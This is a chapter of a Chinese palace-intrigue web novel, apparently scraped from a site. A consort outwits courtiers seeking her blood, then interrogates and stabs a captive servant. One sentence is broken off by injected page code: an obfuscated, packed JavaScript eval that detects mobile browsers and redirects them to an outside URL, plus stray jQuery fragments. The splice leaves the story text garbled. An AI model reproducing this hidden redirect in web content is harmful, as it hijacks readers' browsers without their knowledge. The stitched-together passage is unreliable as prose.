140. 第 140 章

作品:《被迫替嫁后她每天都想和离

    苏箐宁心里生出一种很不好的预感,总觉得她的猜测很可能要被证实了。


    虽然暂时还不知道容栩那边什么情况,但防患于未然还是很有必要,她招来容栩宫中的大宫女问道:“太后近来,身体可安好?”


    宫女是容栩的心腹,答道:“太后娘娘身上的剑伤实在严重,反复发炎感染,现在只能靠老参汤吊着,卧床不起。”


    苏箐宁思忖后,继而十分隐晦道:“太医有没有与公主说起过,太后娘娘尚有春秋几何吗?”


    宫女看了一眼外面,低声凑到苏箐宁耳边道:“回世子妃,若这几日还不能退烧,估计就……”


    苏箐宁了然地点点头,原来如此,看来容钰那一剑刺得真是毫不留情。怪不得朝中的大臣们如此着急。


    若是太后真的在这个关头薨逝,等季晏词和裴翎两人战胜归来,那这大燕就一定是容栩的天下了。


    不出苏箐宁所料,容栩回来的时候一脸阴沉,气得差点被门槛给绊倒,一进门就道:“宁宁,还真是被你给猜中了!这群老不死的,正事儿没干多少,道听途说的本事倒是强得很,不知道从哪儿打听来了你血液的事情,说是要取你的血去给太后入药治伤,我呸这几个蠢货,一剑刺穿的伤口怎么可能拿别人的血入药就能治好啊,我看他们就是见不得你好!趁裴翎走了好磋磨你!气死我了。”


    苏箐宁给容栩倒了一杯茶,叫她缓口气儿。


    容栩一口干完了茶水,接着道:“他们好说,为了太后放血那是你的荣幸,什么意思?他们是想将你吸干吗?开什么玩笑?我在家里那边献血都不敢这么献。”


    苏箐宁早就习惯了容栩口中时不时冒出来的一些奇怪言论,道:“莫生气了,跟他们怎么说得清楚?”


    容栩愁眉苦脸的,道:“那我们现在可怎么办,你怎么一点都不急啊?现在这皇宫外面,不,可能就连皇宫里面也有人正等着要你的命呢。”


    苏箐宁淡定一笑道:“当然是因为,我已经想到应对之策了啊。”


    容栩瞪眼:“这么快?来来,快给我说说,怎么个应对之法?”


    苏箐宁凑到她的耳边,嘀嘀咕咕说了几句,容栩听得嘴巴都不自觉张开了,呆呆看了苏箐宁几秒,大笑:“好啊,这法子好,真的是好法子!我这就差人去办,一定给你办得妥妥的。”


    苏箐宁笑得狡猾,想要她的血?那就看你们有没有这个本事吧。


    ……


    就在长生玉之血在京城闹得沸沸扬扬时,不知道何时,京城又传出了第二种,第三种,乃至更多的说法。


    就比如,左相大人其实服用过一株可以解百毒的千年灵芝,是以他的后代血液中都含有解百毒的功效。


    于是当晚,左相大人府上的瓦片就被踏碎了好几批,且左相府上的护卫远没有天阙山庄的人厉害,于是第二日,左相的一双儿女皆是离奇失踪,听说左相第二天连上朝都没来,着急忙慌地找孩子去了。


    还有比如说礼部侍郎简大人,听说年轻时曾经被颂仁医仙相救,医仙好意,赐予他一枚可延年益寿的丹药,喝了他的血可以长命百岁,返老还童。


    于是简大人那天后也没来上朝,听说有人直接把简大人也给绑了。


    不过很可惜,这些传闻虽然唬人,但他们的血液确实没什么奇效,于是绑匪只能自认倒霉,狠狠地往左相府和侍郎府敲诈了几笔,将人放了回来。


    苏箐宁见时机成熟,于是在第四日早上,也在大街上,众目睽睽之下,被人拿着刀,从大街上“劫走了”。


    几天之后,坊间听说晟悯公主交了一大笔钱,将人给赎了回来。


    有人瞧见苏箐宁的手腕上被划破了好几道口子,应该是放血所致,想必也是鲜血无用,交了赎金被歹人放回来了。


    在此之后,还有零星一些什么血液有奇特功效的传言流出,也就没什么人在意了,毕竟费这么大的功夫抓人,费力又费时,最后也捞不着多少,不值当。


    而亲身经历后的左相与礼部侍郎简大人就完全歇了心思,再也不敢在容栩面前提什么取血救人这类的荒唐事儿了。


    ……


    容栩回到寝殿与苏箐宁说起这事儿的时候笑得上气不接下气,将左相和简大人的那窝囊样淋漓尽致地描述了一遍,最后得出结论道:“果然死道友不死贫道这句话放在左相那两人身上就是最贴切不过了。不过是拿着刀在他们身上比划两下,这两人就差点被吓晕过去。”


    容栩对苏箐宁那叫一个佩服啊,想她小时候也是读过什么孙子兵法,什么战国策,什么汉书史记之类,当时也就光顾着看那些个故事解闷儿了,那里面的谋略她是一点没学到。


    不过她原本主修的就是经济学,辅修法学,以后她就负责好好的管好钱,维持法度,治国之策有苏箐宁帮忙寻思,想来也是不用发愁了。


    唉,要是现代能碰上苏箐宁,她一定要将人挖来自己公司当经理,天天给她叔叔的公司使绊子。


    “哎对了,那个最开始散播留言的人找到了吗?”容栩想起来,顺嘴问。


    苏箐宁眯起眼睛,神色变得微妙:“找到了。”


    “什么人?”


    “一个,江南来的小厮。”


    *


    苏箐宁走进天阙山庄的地牢,往里面一间关着一个模样寻常,瞧着憨厚老实的青年被绑在十字木架上,头发上面正在往下滴落水渍,是适才在苏箐宁来之前就已经用过刑了。


    少闻见苏箐宁来了,行礼道:“世子妃,他一口咬定是于家主叫他来的,别的什么也不肯说。”


    “嗯,知道了,你先去休息吧,这里有顾羽在。”苏箐宁道。


    少闻这几日一直在查这件事,好不容易才将这人抓回来,几日没合眼,听了苏箐宁的话,飘飘悠悠地回去找床了。


    苏箐宁打量着青年几眼,问:“你叫什么名字?今年多大了?”


    青年为了躲避天阙山庄的追查,显然也是累得狠了,遭了一回刑讯更是没力气,他半睁开眼睛,意外于苏箐宁问他的问题为何如此无关紧要。


    “我叫曲谭,今年二十。”青年声音沙哑。


    苏箐宁示意顾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107992|172649||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    羽给他递了一杯水,看着他一副天不怕地不怕的脸道:“你今年二十,我听闻于夫人比于家主大一些,今年四十了,喜欢一个比自己大二十岁的有夫之妇,很辛苦吧?”


    “噗……”曲谭刚入口的水全喷了出来,随即剧烈地咳嗽起来。


    “咳咳,咳咳咳,你胡说什么?休要妄言,坏我家夫人声誉!”曲谭顾不得自己咳嗽,气都没喘匀就一边咳嗽一边反驳。


    苏箐宁心里一定,看来自己是猜对了,于夫人钟婉,想要她死。


    为什么?是担心她的身份会与她争夺于家的财产吗?她远在京城,临城离此甚远,她竟然忌惮到要千里迢迢取她性命吗?


    苏箐宁望着曲谭冷笑:“我又没有胡说你自己心里清楚,你腰间的那枚玉佩不是于夫人给你的吗?”


    曲谭牙关紧咬,死死瞪着苏箐宁:“这是我偷的。”


    苏箐宁挑眉,这人倒是硬气:“你偷的?你从哪里偷的?这个玉佩那日我离开临城时曾在于夫人的身上见到过,这样的贴身之物,你是潜入到她的房间里偷的吗?好大胆的小贼!”


    曲谭抿着嘴角,道:“就是我偷的!我在夫人出门的时候偷的。”


    苏箐宁道:“哦——既然是你偷的,顾羽,将他的玉佩拿下来给我。”


    “是。”顾羽走到曲谭面前,见他瞪着自己,于是毫不客气地用比他大的眼睛瞪回去,冷哼一声,一把扯下了他身上的玉佩,回头交给苏箐宁。


    苏箐宁摩挲了一下玉佩上面的纹路,确认是真品后,道:“既然是于家偷东西的贼,那东西已经拿回来了,直接杀了便是。”


    “明白!请世子妃回避。”顾羽早就看这小子不顺眼了,散播致命的消息还一直十分无礼地瞪着她家世子妃,世子妃是他能一直这样看的吗?


    她邪恶一笑,抽出长剑正要利落的一剑送这小子直接归西。


    曲谭见苏箐宁离开的背影,是真的不准备再问他什么,心中一急,叫住她道:“等等,你,你把那玉佩还给我!那是我的东西!”


    他死可以,但那玉佩是夫人赠与他的,他一定要拿回来。


    苏箐宁没有回头,语气得意地道:“你的东西?什么你的东西,这不是你偷的于家的东西吗?于家主无子无女,等到作古,那这些就全是我的。”


    曲谭听她这话呼吸都变得急促粗重起来,他恨恨地“呸”了一声,道:“你这个不知廉耻的野种!你也配!你不过是你娘没羞没臊生下来的私生子,也配继承于家的家产?做梦!”


    苏箐宁回过头来,她的脸上没什么表情,但眼睛里沉沉的,顾羽后退两步,虽然世子妃看上去很冷静,但她知道她已经生气了。


    果然,苏箐宁慢慢地走回来,行至曲谭面前,拿起放在一旁刑具上的一把匕首,眼睛都不眨地,捅进了曲谭的肩骨里面,带着倒刺的尖头部分在皮肉里面旋转几下。


    痛得曲谭连叫声都发不出来。


    苏箐宁瞥一眼他垂下来忍痛的头,淡淡地松手道:“虽然我也很讨厌我娘,但她毕竟是我娘,只有我能骂。”